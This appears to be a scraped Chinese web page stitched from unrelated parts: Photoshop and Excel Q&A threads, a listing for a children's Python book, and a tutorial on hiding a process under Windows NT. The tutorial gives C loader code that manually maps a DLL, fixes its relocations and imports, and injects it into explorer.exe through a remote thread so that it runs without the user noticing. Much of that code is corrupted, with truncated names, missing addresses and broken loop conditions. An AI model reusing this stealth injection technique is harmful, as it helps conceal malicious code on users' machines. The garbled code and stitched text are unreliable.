为什么许多块代码四张照片拼在一起起就无法运行

photoshop_cc怎么把两张图片合在一起呀?它怎么不像cs3那样打开两张图片会有两个窗口了呀?_百度知道
photoshop_cc怎么把两张图片合在一起呀?它怎么不像cs3那样打开两张图片会有两个窗口了呀?
photoshop_cc怎么不像cs3那样打开两张图片会有两个窗口了呀?
提问者采纳
将两张图置入呀
置入之后就是两个图层 这样的话就能合并
如果背景是一样的想拼合起来做张大图那就用文件下的merge命令
两张图都打开却只能看到一张图
我打开多张文件如果要在多个窗口的话 我就选中图片放在头部的地方
要不然就在一个窗口下了
还有 可能是前一个窗口盖住后面的窗口了 具体我不太了解你怎么操作的
提问者评价
太给力了,你的回答完美的解决了我的问题!
其他类似问题
一个文件一个窗口,你新建一个文件就有另外一个窗口了。
跟新建没有关系的吧,新建的话就是新的标题了呀,之前cs3打开另一张图片就是另个窗口了的
cs3是以2个文件的形式分别打开这两张图片的,你可以留意窗口左上方标题栏上面是有该图片的文件名的。
那为什么photoshop就不可以呢
来自团队:
为您推荐:
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁扫一扫下载手机客户端
扫描我,关注团购信息,享更多优惠
||网络安全
| | | | | | | | | | | | | | | |
||电子电工
汽车交通| | | | | | | | | |
||投资理财
| | | | | | | | | | | | | | | | |
| | | | | | |
| | | | | | | | | | | | | | | | | | |
| | | | | | |||
||外语考试
| | | | | | | | |
| 视频教程|
父与子的编程之旅:与小卡特一起学Python
唯一一本教孩子编程的图书
定价:¥69.00
校园优惠价:¥53.13 (77折)
促销活动:
商品已成功飞到您的手机啦!快登录手机站看看吧!
下载客户端
> 微信关注“互动出版网”,便捷查询订单,更多惊喜天天有
ISBN:4上架时间:出版日期:2014 年12月开本:16开页码:427版次:1-1
所属分类:
  本书上一版荣获Jolt生产效率大奖。
亚马逊畅销图书,五星级评价。
除本书外,市面上没有其他教孩子编程的相关图书。
麻省理工学院公益计划“每个孩子一台笔记本”发起人尼古拉斯?尼葛洛庞蒂倾力推荐。
《父与子的编程之旅:与小卡特一起学Python》是一本家长与孩子共同学习编程的入门书。作者是一对父子,他们以Python语言为例,详尽细致地介绍了Python如何安装、字符串和操作符等程序设计的基本概念,介绍了条件语句、函数、模块等进阶内容,最后讲解了用Python实现游戏编程。书中的语言生动活泼,叙述简单明了。为了让学习者觉得编程有趣,本书编排了很多卡通人物及场景对话,让学习者在轻松愉快之中跨入计算机编程的大门。
《父与子的编程之旅:与小卡特一起学Python》适合中小学生以及一切编程初学者。
Warren Sande
毕业于加拿大里贾那大学电气工程系。一直在面向计算机初学者教授软件基础课程,编写过大量广受欢迎的技术文档。
Carter Sande
是Warren之子,高中生,热爱计算机技术,喜欢编写复古的视频游戏。
《父与子的编程之旅:与小卡特一起学Python》
第1章 出发吧  1
1.1 安装Python  1
1.2 从IDLE 启动Python  3
1.3 来点指令吧  4
1.4 与Python 交互  6
1.5 该编程了  7
1.6 运行你的第一个程序  9
1.7 如果出问题  10
1.8 你的第二个程序  12
第2章 记住内存和变量  15
2.1 输入、处理和输出  15
2.2 名字  17
2.3 名字里是什么  21
2.4 数字和字符串  22
2.5 它们有多“可变”  23
2.6 全新的我  24
第3章 基本数学运算  27
3.1 四大基本运算  27
3.2 操作符  29
  第1版译者序
  首先,你可能想知道这本书讲些什么。这是一本编程书,它会告诉你什么是编程,什么是程序,程序有哪些方面,需要了解哪些概念……我不想在这里列出这些深奥的术语把你吓住,你在书中可以找到,而且会发现其实这些概念一点也不深奥 !最重要的是,读完这本书,你能自己编程序,甚至可以编写游戏,这可能是最让你着迷的一点吧。
  也许你觉得这没有什么特别之处,不过作为译者,我从来没有这么热切地盼望一本书尽早出版,更确切地讲,应该说我女儿从来没有对我翻译的书表示出如此高涨的热情。因为,这本书确实与众不同 !
  你相信吗?这本书的作者之一卡特与你们一样,也是一个小学生,同样对计算机世界充满了好奇。也许你会惊喜地发现,你脑海中的疑问与他在书中问到的居然如出一辙。这本书不像一个糟糕的演讲者只顾自己长篇大论地说教,自以为作为听众的你已经领会他的意思;实际上,你会感觉卡特就像是你自己,你可以按自己的思维方式轻松地掌握书中的内容,可以发现你真正想问的问题并顺利找到答案,还可以在清晰的指导下动手编程,让大家对你刮目相看。
  还等什么呢?现在就拿起书来,让它带你进入看似神秘的编程世界吧 !不过不要忘了,一定要自己动手试一试,如果只是纸上谈兵,只看不做,你就无法感受到程序成功运行那一刻的快乐和成就感。
  希望多年以后你在计算机领域小有成就时能这样感叹:多亏我小时候看过一本《父与子的编程之旅》,是一个小孩子和他的爸爸写的,那本书太棒了,要不是这本书……
  本书由苏金国主译,姚曜、荆涛、高强、刘鑫、范松峰分别对全书各章进行审阅,另外乔会东,刘亮、王小振、李璜、牛亚峰等参与了全书的修改整理。全体人员共同完成了本书的翻译工作。特别要感谢苏钰涵小同学,作为这本书译稿的第一位小读者,她提出了很多宝贵的建议,正踌躇满志地着手开发自己的游戏……
  前言是什么?前言就是一本书开头的那一部分,这部分没多大意思,可以把前言跳过去直接读后面具体的内容。你是不是这么想的?确实,如果你真想这么干, 当然可以跳过这个前言(喂,你是不是现在就打算翻页了?),不过天晓得你会漏掉什么好东西……反正篇幅也不长,也许你应该看看再说,没准真会有意想不到的收获。
  什么是编程
  很简单,编程(programming)就是告诉计算机要做什么。计算机只是一些没有生命的机器,它们自己可不知道该做什么,一切都得你来告诉它,而且你还必须把细节都说清楚。
  术语箱
  指令(instruction)就是下达给计算机的一个基本命令,通常要求计算机做某件特定的事情。
  计算机程序是由多个指令组成的。为什么计算机能做到这么多了不起的事情呢?这是因为有许多聪明的程序员编写了程序或者软件(software)来告诉它们该怎样做。软件就是你的计算机上运行的程序,有时软件也可能运行在与你的计算机相连的另一台计算机上,比如Web 服务器。
  到底怎么回事?
  计算机要用非常非常多的电路来“思考”。在最底层,这些电路是一些开关。
  工程师和计算机科学家们使用1 和0 来代表“开”和“关”。所有这些1 和0 是一种二进制(binary)的编码。二进制实际上就表示“两种状态”。这两种状态分别是“开”和“关”,也就是1 和0。
  你知道吗? 二进制位 = 比特(bit)
  Python―我们和计算机沟通的语言
  所有计算机在内部都使用二进制。不过大多数人都不擅长使用这种语言。我们需要一种更简便的方法来告诉计算机要做什么。所以人们发明了编程语言。利用计算机编程语言,我们可以先用一种自己能理解的方式写程序,然后再把它翻译成二进制供计算机使用。
  有很多不同的编程语言。本书会教你如何使用其中的一种语言(Python)来告诉计算机要做什么。
  为什么学编程
  你可能不会成为一名专业的程序员(大多数人都不会),不过学习编程确实有很多理由。
  最重要的原因是你想学 !不论是作为业余爱好还是作为职业,编程都会很有
意思,都会让你很有收获。
  如果你对计算机感兴趣,想更多地了解它到底怎么工作,想知道怎样才能让??它做你想做的事情,这也不失为学习编程的一个好理由。
  也许你想编写自己的游戏,或者找不到合适的程序能完全满足你的需要,如??果是这样,你就会想自己编写程序。
  如今计算机已经无处不在,工作中、学校里或者在家里很有可能使用计算机??(可能这三种场合都少不了计算机)。学习编程能帮助你从总体上更好地了解计算机。
  为什么选用Python 语言
  上到88岁,下到8岁,都可以阅读本书。它不仅以一种有趣的方式介绍了Python编程的知识,其中的最佳实践还适用于其他编程语言的学习。
  ――Ben Ooms,Sogeti公司软件工程师
  不论老幼,只要想学习编程这门必备而有趣的技能,这都是一本非常好的介绍性书籍。
  ――Sue Gee,www.网站
  Warren和Carter由简入难,直到教会读者制作有趣的2D图形游戏和模拟器。Python是我向刚入门的程序员推荐的首选语言,而本书恰是非常好的学习资源。第1版出版后我就一直向学生们推荐这本书。
  ――Dave Briccetti,Dave Briccetti Software LLC公司软件开发者和教师
  第1 章
  出发吧
  1.1 安装Python
  首先需要在你使用的计算机上安装Python。
  从前的美好时光
   在个人计算机(PC)时代的初期,人们的日子很好过。最早的PC 大都已经内置了一种名为BASIC 的编程语言。人们什么也不必安装,他们要做的只是打开计算机,屏幕上会显示“READY”(准备就绪),然后就可以开始键入BASIC 程序了。听上去很不错,是不是?
  当然,那时能得到的也只有“READY”而已。没有程序,没有窗口,也没有菜单。如果你希望计算机做点其他的事情,就必须编写程序 !那时没有字处理器、媒体播放器和Web 浏览器,总之我们如今使用的所有应用当时都没有。甚至根本不存在万维网(Web),当然上网也就无从说起了。当时的计算机没有好玩的图片,也没有声音,只是在出错时偶尔会发出“哔哔”声 !
  安装Python 非常容易。我们强烈建议你使用Hello World 安装程序来安装使用本书所需的Python 版本。该安装程序可在本书的网站www.
上找到。根据你的计算机的操作系统可以找到相应的安装程序版本。
  这里分别提供了面向Windows、Mac OS X 和Linux 的版本。这本书里的所有例子都是Windows 版本, 不过在Mac OS X 或Linux 中使用Python 也很类似。只需要按网站上的说明运行适合你的系统的版本。
  本书使用的Python 版本是2.7.3 版本。如果使用本书网站上的安装程序,你得到的就是这个版本。当你读到这本书时,可能已经有了更新的Python 版本。这本书里的所有例子已经用Python 2.7.3 做过测试。它们很可能也可以用于以后的2.x 版本, 不过我们无法预知未来,所以不能保证这一点。
  Python 2 与Python 3 写作本书的前几年,Python 发布了一个新版本,也就是Python 3。但是, 它并不是Python 一个真正意义上的“升级版本”。这就导致很多人并不想切换到Python 3,所以他们仍然使用Python 2。Python 的开发者也在同时开发Python 2 的新版本和Python 3 的新版本。在写作本书第2 版的时候,Python 2 和Python 3 的最新版本分别是Python 2.7.3 和Python 3.3.0。本书中使用的是Python 2.7.3,这些代码应该能与Python 2.x 的任何后续版本都兼容。更多有关Python 2 和Python 3 的细节,请参阅附录B。
  即使你的计算机上已经安装了Python, 不打算使用这本书的安装程序,但是还要确保安装这本书需要的一些“额外内容”。查看网站() 的安装说明(Installation Instructions) 部分, 看看应该怎么做。这里再强调一次,要想确保本书中的全部代码都能正确运行, 最好的办法就是使用我们的安装程序。你可以在本书的网站(www.helloworldbook2. com)上找到该安装程序。
  1.2 从IDLE 启动Python
  启动Python 有两种方法。一种方法是从IDLE 启动,也就是我们现在要使用的方法。
  在Start(开始)菜单中,可以看到“Python 2.7”下面的“IDLE (Python GUI)”。点击这个选项,会看到IDLE 窗口打开(类似下面显示的窗口)。
  IDLE 是一个Python shell。shell 的意思就是“外壳”,基本说来,这是一个通过键入文本与程序交互的途径, 可以利用这个shell 与Python 交互。(正是因为这个原因,可以看到窗口的标题栏上显示着 Python Shell)。IDLE 本身还是一个GUI(图形用户界面), 所以在开始菜单中显示为Python GUI 。除了shell,IDLE 还有其他一些特性,不过这个内容我们稍后再讲。
  上图中的))) 是Python 提示符(prompt)。提示符是程序等待你键入信息时显示的符号。这个))) 提示符就是在告诉你,Python 已经准备好了,在等着你键入Python 指令。
  1.3 来点指令吧
  下面就来向Python 下达我们的第一条指令。
  在))) 提示符末尾的光标后面键入: print "Hello World!"
系列图书推荐 ¥59.00¥44.25
同类热销商品¥30.00¥21.60
订单处理配送
北京奥维博世图书发行有限公司 china-pub,All Rights ReservedExcel2010打开两个表格怎么不合在一起_百度知道
提问者采纳
任务栏右键 属性 然后找到 注意 那个 从不合并……看你的图片样子 &类似win8.1(xp 大概是 不勾选分组显示 记不太清楚了)
提问者评价
自己找到答案了,就是你说的这样!还是谢谢了
其他类似问题
为您推荐:
excel2010的相关知识
其他2条回答
工具---选项---视图-----显示(任务拦中窗口打勾)
请更换xp系统。
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁当前位置:
NT环境下进程隐藏的实现
NT环境下进程隐藏的实现
发布日期: 14:17
浏览次数:8757次
标  签:windows
文章评分:5.0
操  作:
称号:未设置简介:...
文章概要:
在NT环境下隐藏进程,也就是说在用户不知情的条件下,执行自己的代码的方法有很多种,比如说使用注册表插入DLL,使用Windows挂钩等等。其中比较有代表性的是Jeffrey Richer在《Windows核心编程》中介绍的LoadLibrary方法和罗云彬在《Windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是:都采用远程线程,让自己的代码作为宿主进程的线程在宿主进程的地址空间中执行,从而达到隐藏的目的。相比较而言,Richer的方法由于可以使用c/c++等高级语言完成,理解和实现都比较容易,但他让宿主进程使用LoadLibrary来装入新的DLL,所以难免留下蛛丝马迹,隐藏效果并不十分完美。罗云彬的方法在隐藏效果上绝对一流,不过,由于他使用的是汇编语言,实现起来比较难(起码我写不了汇编程序:))。笔者下面介绍的方法可以说是对上述两种方法的综合:采用c/c++编码,实现完全隐藏。并且,笔者的方法极大的简化了远程线程代码的编写,使其编写难度与普通程序基本一致。
在NT环境下隐藏进程,也就是说在用户不知情的条件下,执行自己的代码的方法有很多种,比如说使用注册表插入DLL,使用Windows挂钩等等。其中比较有代表性的是Jeffrey Richer在《Windows核心编程》中介绍的LoadLibrary方法和罗云彬在《windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是:都采用远程线程,让自己的代码作为宿主进程的线程在宿主进程的地址空间中执行,从而达到隐藏的目的。相比较而言,Richer的方法由于可以使用c/c++等高级语言完成,理解和实现都比较容易,但他让宿主进程使用LoadLibrary来装入新的DLL,所以难免留下蛛丝马迹,隐藏效果并不十分完美。罗云彬的方法在隐藏效果上绝对一流,不过,由于他使用的是汇编语言,实现起来比较难(起码我写不了汇编程序:))。笔者下面介绍的方法可以说是对上述两种方法的综合:采用c/c++编码,实现完全隐藏。并且,笔者的方法极大的简化了远程线程代码的编写,使其编写难度与普通程序基本一致。
让自己的代码作为宿主进程的线程,在宿主进程的地址空间中执行确实是个不错的主意。但是要自己把程序放到其他进程的地址空间中去运行,将面临一个严峻的问题:如何实现代码重定位。关于重定位问题,请看下面的程序:
int func()//函数func的定义
int a = func();//对func的调用
这段程序经过编译链接后,可能会变成下面的样子:
0x: push ebp//这是函数func的入口
0x: mov ebp, esp
0x: call //对函数func的调用
0x: mov dword ptr [ebp-08], eax
请注意“0x”处的直接寻址指令“call ”。上面的程序在正常执行(由windows装入并执行)时,因为PE文件的文件头中含有足够的信息,所以系统能够将代码装入到合适的位置从而保证地址“”处就是函数func的入口。但是当我们自己把程序装入到其他进程的地址空间中时,我们无法保证这一点,最终的结果可能会象下面这样:
0x: push ebp//这是函数func的入口
0x: mov ebp, esp
0x: call 401800处是什么
0x: mov dword ptr [ebp-08], eax
显然,运行上面的代码将产生不可预料的结果(最大的可能就是执行我们费尽千辛万苦才装入的代码的线程连同宿主进程一起被系统杀死)。 不知大家注意过系统中动态链接库(dll)的装入没有:一个dll被装入不同进程时,装入的地址可能不同,所以系统在这种情况下也必须解决dll中直接寻址指令的重定位问题。原来,绝大多数dll中都包含一些由编译器插入的用于重定位的数据,这些数据就构成了重定位表。系统根据重定位表中的数据,修改dll的代码,完成重定位操作。Richer使用的LoadLibrary也是借用了这一点。所以我们的重定位方法就是:替系统来完成工作,自己根据重定位表中的数据进行重定位。既然如此,那就让我们来了解一下重定位表吧。
先来分析一下重定位表中需要保存哪些信息。还以上面的代码为例,要让它能正确执行,就必须把指令“call ”改为“call ”。进行这一改动需要两个数据,第一是改哪,也就是哪个内存地址中的数据需要修改,这里是“0x”(不是“0x”);第二是怎么改,也就是应该给该位置的数据加上多少,这里是“0x”。这第二个数据可以从dll的实际装入地址和建议装入地址计算而来,只要让前者减后者就行了。其中实际装入地址装入的时候就会知道,而建议装入地址记录在文件头的ImageBase字段中。所以,综上所述,重定位表中需要保存的信息是:有待修正的数据的地址。
页起始地址(RVA)
重定位块长度
第一个重定位项,32位都须修正
第二个重定位项,32位都须修正
第三个重定位项,32位都须修正
第四个重定位项,用于对齐
页起始地址(RVA)
重定位块长度
第一个重定位项,32位都须修正
第二个重定位项,32位都须修正
其他重定位块
重定位表结束标志
知道了重定位表要保存哪些信息,我们再来看看PE文件的重定位表是如何保存这些信息的。重定位表的位置和大小可以从PE文件头的数据目录中的第六个IMAGE_DATA_DIRECTORY结构中获取。由于记录一个需要修正的代码地址需要一个双字(32位)的存储空间,而且程序中直接寻址指令也比较多,所以为了节省存储空间,windows把重定位表压缩了一下,以页(4k)为单位分块存储。在一个页面中寻址只需要12位的数据,把这12位数据再加上4位其它数据凑齐16位就构成一个重定位项。在每一页的所有重定位项前面附加一个双字表示页的起始地址,另一个双字表示本重定位块的长度,就可以记录一个页面中所有需要重定位的地址了。所有重定位块依次排列,最后以一个页起始地址为0的重定位块结束重定位表。上表是一个重定位表的例子(表中每种颜色代表一个重定位块)。
上面提到每个重定位项还包括4位其他信息,这4位是重定位项的高4位,虽然有4位,但我们实际上能看到的值只有两个:0和3。0表示此项仅用作对齐,无其他意义;3表示重定位地址指向的双字的32位都需要修正。还要注意一点的是页起始地址是一个相对虚拟地址(RVA),必须加上装入地址才能得到实际页地址。例如上表中的第一个重定位项表示需要重定位的数据位于地址(假设装入地址是h):装入地址(h)+页地址(1000h)+页内地址(0006h)=h。
至此,已经解决了重定位问题。应该说,现在我们已经能够开始编码了。但是,不知你是否读过其它有关进程隐藏的文章(使用类似Jeffrey Richer的方法的例外)并且注意到它们总是以显式链接的方式调用Windows API,例如下面对MessageBox的调用:
//fnLoadLibrary和fnGetProcAddress分别指向Windows API函数LoadLibraryW和GetProcAddress
typedef int (WINAPI *FxMsgBox)(HWND, LPCWSTR, LPCTSTR, UINT);
HMODULE hUser32 = fnLoadLibrary(L"User32.dll");
FxMsgBox fnMsgBox = (FxMsgBox)(fnGetProcAddress(hUser32, "MessageBoxW"));
fnMsgBox(…);
那它们为什么不使用更简便的隐式链接呢?原来,要隐式链接dll并调用其中的输出函数,首先必须保证程序运行时dll已经被装入,否则就会出错。其次,调用API函数的指令格式一般是:call dword ptr [xxxxxxxx],要让程序正常运行,就必须在调用前在地址“xxxxxxxx”处填入目标函数的入口地址。程序正常装入时,系统会保证这两点。但是要自己装入程序,保证这两点就有一些麻烦,所以它们一般使用显式链接来绕过这两个问题。
如果你不在乎为每一个API使用一个typedef和一个GetProcAddress的话(也许还有一个LoadLibrary),使用显式链接就已经足够好了。但是设想一下实际情况吧:你的代码中调用几十乃至数百个API的情况是很常见的,为每一个API写这些重复性的代码将使编程毫无乐趣可言,所以,我们一定要解决那两个问题,从而使用隐式链接。我们处理隐式链接问题的思路和前面处理重定位问题时是一样的,即:替系统来完成工作,在远程线程代码调用第一个API之前,装入dll并填好相关入口地址。
//摘自WINNT.H
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD OriginalFirstT
DWORD TimeDateS
DWORD ForwarderC
DWORD FirstT
} IMAGE_IMPORT_DESCRIPTOR;
还是先来学习一下基础知识―PE文件的输入表。输入表记录了一个Win32程序隐式加载的所有dll的文件名及从中引入的API的函数名,通过PE文件头的数据目录中的第二个IMAGE_DATA_DIRECTORY,我们可以获得输入表的位置和大小。实际上,输入表是一个由IMAGE_IMPORT_DESCRIPTOR结构组成的数组,每个结构对应一个需要隐式加载的dll文件,整个输入表以一个Characteristics字段为0的IMAGE_IMPORT_DESCRIPTOR结束。上面就是IMAGE_IMPORT_DESCRIPTOR结构的定义。
其中的Name字段是一个RVA,指向此结构所对应的dll的文件名,文件名是以NULL结束的字符串。在PE文件中,OriginalFirstThunk和FirstThunk都是RVA,分别指向两个内容完全相同的IMAGE_THUNK_DATA结构的数组,每个结构对应一个引入的函数,整个数组以一个内容为0的IMAGE_THUNK_DATA结构作为结束标志。IMAGE_THUNK_DATA结构定义如下:
//摘自WINNT.H
typedef struct _IMAGE_THUNK_DATA32 {
DWORD ForwarderS // PBYTE
DWORD F // PDWORD
DWORD AddressOfD // PIMAGE_IMPORT_BY_NAME
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 IMAGE_THUNK_DATA;
从上面的定义可以看出,完全能够把IMAGE_THUNK_DATA结构当作一个DWORD使用。当这个DWORD的最高为是1时,表示函数是以序号的形式引入的;否则函数是以函数名的形式引入的,且此DWORD是一个RVA,指向一个IMAGE_IMPORT_BY_NAME结构。我们可以使用在WINNT.H中预定义的常量IMAGE_ORDINAL_FLAG来测试最高位是否为1。IMAGE_IMPORT_BY_NAME结构定义如下:
//摘自WINNT.H
typedef struct _IMAGE_IMPORT_BY_NAME {
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME;
其中Hint字段的内容是可选的,如果它不是0,则它也表示函数的序号,我们编程是不必考虑它。虽然上面的定义中Name数组只包含一个元素,但其实它是一个变长数组,保存的是一个以NULL结尾的字符串,也就是函数名。
也许上面的解释已经把你弄得头晕脑涨了,来看看下面的导入表的实际结构吧,希望下图能帮你清醒一下:
光看前面的讲解中,你也许会有一个疑问:既然OriginalFirstThunk和FirstThunk指向的内容完全一样,只用一个不就行了吗?好了,不要再怀疑Windows的设计者了,在PE文件中它们确实是一样的,但是当文件被装入内存后,差别就出现了:OriginalFirstThunk的内容不会变,但FirstThunk里数据却会变成与其相对应的函数的入口地址。内存中的输入表结构如下图所示:
事实上,前面提到的call dword ptr [xxxxxxxx]指令中的“xxxxxxxx”就是FirstThunk中的一个IMAGE_THUNK_DATA的地址,而这个IMAGE_THUNK_DATA在装入完成之后保存的就是与其对应的函数的入口地址。知道动态链接是怎么回事了吧!
到现在为止,有关进程隐藏的基础知识就都说完了,下面我们就开始动手编程,其他问题我将结合代码进行说明。
我们要编写两个程序,一个是dll,它里面包含要插入到宿主进程中去的代码和数据;另一个是装载器程序,它将把dll装入宿主进程并通过创建远程线程来运行这些代码。为了更好的隐藏,我把编译好的dll作为资源加入到了装载器之中。至于宿主进程,我选择的是“explorer.exe”,因为每一个windows系统中都有它的身影。装载器程序运行之后,远程线程将弹出如下一个消息框,证明代码插入成功。
两个程序有一个公用的头文件“ThreadParam.h”,我在它里面定义了要传递给远程线程的参数的结构,这个结构包括两个函数指针,使用时,它们将分别指向windows API“LoadLibrary”和“GetProcAddress”,还有一个指针指向远程线程在目标进程中的映像基址,后面将对这三个指针进行具体说明,下面是“ThreadParam.h”的内容:
typedef HMODULE (WINAPI *FxLoadLibrary)(LPCSTR lpFileName);
typedef FARPROC (WINAPI *FxGetProcAddr)(HMODULE hModule, LPCSTR lpProcName);
typedef struct tagTHREADPARAM
FxLoadLibrary fnLoadL
FxGetProcAddr fnGetProcA
LPBYTE pImageB
}THREADPARAM, *PTHREADPARAM;
我们先来看装载器程序。这里面还会涉及到其他一些PE文件格式方面的内容,限于篇幅,我将不再详细介绍,请读者参考相关资料。同时,为了使程序更加短小,我假设它从不出错,去掉了所有用于错误处理的代码。
首先介绍一下程序中用到的全局变量和常数。其中“_pinh”指向嵌入装载器的dll的PE文件头,供需要的地方使用。之后的四个宏是为了以后程序书写方便而定义,“IMAGE_SIZE”表示dll的映像大小,也就是需要在宿主进程中开辟多大的内存空间;“RVA_EXPORT_TABEL”表示dll输出表的RVA地址;“RVA_RELOC_TABEL”表示dll重定位表的RVA地址;“PROCESS_OPEN_MODE”表示打开宿主进程的方式,只有按这种方式打开,我们才能完成所有必需的工作。
static PIMAGE_NT_HEADERS _pinh = NULL;
#define IMAGE_SIZE (_pinh-&OptionalHeader.SizeOfImage)
#define RVA_EXPORT_TABEL (_pinh-&OptionalHeader.DataDirectory[0].VirtualAddress)
#define RVA_RELOC_TABEL (_pinh-&OptionalHeader.DataDirectory[5].VirtualAddress)
#define PROCESS_OPEN_MODE (PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION)
下面是主函数的定义,从中我们可以看到大致的工作步骤,注释中的序号标明了每一步的开始位置。
int APIENTRY _tWinMain(HINSTANCE hInst, HINSTANCE, LPTSTR lpCmdLine, int nCmdShow)
LPTHREAD_START_ROUTINE pEntry = NULL;
PTHREADPARAM pParam = NULL;
LPBYTE pImage = (LPBYTE)MapRsrcToImage(); //①
DWORD dwProcessId = GetTargetProcessId(); //②
HANDLE hProcess = OpenProcess(PROCESS_OPEN_MODE, FALSE, dwProcessId);
LPBYTE pInjectPos = (LPBYTE)VirtualAllocEx(hProcess, NULL, IMAGE_SIZE,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PrepareData(pImage, pInjectPos, (PVOID*)&pEntry, (PVOID*)&pParam); //③
WriteProcessMemory(hProcess, pInjectPos, pImage, IMAGE_SIZE, NULL); //④
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pEntry, pParam, 0, NULL);
CloseHandle(hThread); //⑤
CloseHandle(hProcess);
VirtualFree(pImage, 0, MEM_RELEASE);
第①步:将资源中的dll文件映射到内存,形成映像。这一步由函数“MapRsrcToImage”完成。它首先将打开资源中的dll,找到dll的PE文件头并让全局变量_pinh指向它。然后,它再根据文件头中的“SizeOfImage”字段在装载器进程(为求方便,我们的数据准备工作都在装载器进程中实现,只是到最后,才把准备好的数据一次性写入宿主进程)中开辟足够的内存空间用于存放dll的内存映像。把dll映射到内存的操作是以节为单位来进行的,PE文件中的节表(IMAGE_SECTION_HEADER)提供了每个节的大小、在文件中的位置和要放到内存中的位置(RVA)等信息。文件头不属于任何节,我们把它的数据放到内存区的起始位置(这样做是有原因的,将在介绍dll程序时说明)。
static LPBYTE MapRsrcToImage() //将资源中的DLL映射到内存
HRSRC hRsrc = FindResource(NULL, _T("rtdll"), _T("RT_DLL"));
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
LPBYTE pRsrc = (LPBYTE)LockResource(hGlobal);
_pinh = (PIMAGE_NT_HEADERS)(pRsrc + ((PIMAGE_DOS_HEADER)pRsrc)-&e_lfanew);
LPBYTE pImage = (LPBYTE)VirtualAlloc(NULL, IMAGE_SIZE, MEM_COMMIT, PAGE_READWRITE);
DWORD dwSections = _pinh-&FileHeader.NumberOfS
DWORD dwBytes2Copy = (((LPBYTE)_pinh) - pRsrc) + sizeof(IMAGE_NT_HEADERS);
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)(pRsrc + dwBytes2Copy);
dwBytes2Copy += dwSections * sizeof(IMAGE_SECTION_HEADER);
memcpy(pImage, pRsrc, dwBytes2Copy);
for(DWORD i=0; i&dwS i++, pish++)
LPBYTE pSrc = pRsrc + pish-&PointerToRawD
LPBYTE pDest = pImage + pish-&VirtualA
dwBytes2Copy = pish-&SizeOfRawD
memcpy(pDest, pSrc, dwBytes2Copy);
_pinh = (PIMAGE_NT_HEADERS)(pImage + ((PIMAGE_DOS_HEADER)pImage)-&e_lfanew);
第②步:打开宿主进程,并在其中开辟用于写入数据的内存空间。这一步比较简单,其中函数“GetTargetProcessId”用于获取“explorer.exe”的进程ID。
static DWORD GetTargetProcessId() //取得explorer进程的pid
   DWORD dwProcessId = 0;
HWND hWnd = FindWindow(_T("Progman"), _T("Program Manager"));
GetWindowThreadProcessId(hWnd, &dwProcessId);
return dwProcessId;
第③步:准备好要写入宿主进程的数据。这一步要把①中建立的dll映像根据②中开辟的存储空间的基址进行重定位,为线程准备参数,并计算线程的入口地址。
static void PrepareData(LPBYTE pImage, LPBYTE pInjectPos, PVOID* ppEntry, PVOID* ppParam)
LPBYTE pRelocTbl = pImage + RVA_RELOC_TABEL;
DWORD dwRelocOffset = (DWORD)pInjectPos - _inh.OptionalHeader.ImageB
RelocImage(pImage, pRelocTbl, dwRelocOffset);
PTHREADPARAM param = (PTHREADPARAM)pRelocT
HMODULE hKernel32 = GetModuleHandle(_T("kernel32.dll"));
  param-&fnGetProcAddress=(FxGetProcAddress)GetProcAddress(hKernel32,"GetProcAddress");
param-&fnLoadLibrary= (FxLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");
  param-&pImageBase = pInjectP
*ppParam = pInjectPos + RVA_RELOC_TABEL;
*ppEntry = pInjectPos + GetEntryPoint(pImage);
首先,它根据实际装入地址和建议地址计算出要加到重定位数据上去的数值,然后调用函数“RelocImage”进行重定位操作。“RelocImage”主要是根据我们前面介绍的重定位表的结构来对dll映像进行重定位。看了“RelocImage”的代码,你是不是感到有些惊讶?我们费了那么多气力来说明重定位问题,但实现它却只需要这么几行程序!其实这说明了一点:PE文件格式设计得非常简洁,我们完全没必要对它有恐惧感。后面处理隐式链接的代码将再次证明这一点。
static void RelocImage(PBYTE pImage, PBYTE pRelocTbl, DWORD dwRelocOffset)
PIMAGE_BASE_RELOCATION pibr = (PIMAGE_BASE_RELOCATION)pRelocT
while(pibr-&VirtualAddress != NULL)
WORD* arrOffset = (WORD*)(pRelocTbl + sizeof(IMAGE_BASE_RELOCATION));
DWORD dwRvaCount = (pibr-&SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
for(DWORD i=0; iVirtualAddress + (DWORD)pI
*(DWORD*)dwRva += dwRelocO
pRelocTbl += pibr-&SizeOfB
pibr = (PIMAGE_BASE_RELOCATION)pRelocT
由于我们在宿主进程中分配的内存只有IMAGE_SIZE那么大,所以必须在重定位操作完成之后,才能把线程参数写进去,这是因为重定位表在完成重定位之后,就没用了,我们正好可以借用它的空间来存放线程参数,而且一般情况下,空间足够使用,除非你要传递特别多的参数。这样,参数的地址自然就是实际装入地址加上重定位表的RVA地址了。
最后的工作是获取线程的入口地址,由函数“GetEntryPoint”来完成。我们的dll程序输出一个名为“ThreadEntry”的函数,其原型兼容windows的线程入口函数,我们把它作为远程线程的执行体。GetEntryPoint根据dll的输出表信息从映像中找到ThreadEntry的入口地址并将其返回。不过,“GetEntryPoint”返回的地址是一个RVA,必须加上装入地址“pInjectPos”才是实际入口地址。
static DWORD GetEntryPoint(LPBYTE pImage)
DWORD dwEntry = 0, index = 0;
IMAGE_EXPORT_DIRECTORY* pied = (IMAGE_EXPORT_DIRECTORY*)(pImage + RVA_EXPORT_TABEL);
DWORD* pNameTbl = (DWORD*)(pImage + pied-&AddressOfNames);
for(index=0; indexNumberOfN index++, pNameTbl++)
if(strcmp("ThreadEntry", (char*)(pImage + (*pNameTbl))) == 0)
index = ((WORD*)(pImage + pied-&AddressOfNameOrdinals))[index];
dwEntry = ((DWORD*)(pImage + pied-&AddressOfFunctions))[index];
return dwE
第④步:把准备好的数据写入宿主进程,并创建远程线程来运行写入的代码。
第⑤步:进行装载器程序结束前的清理工作。
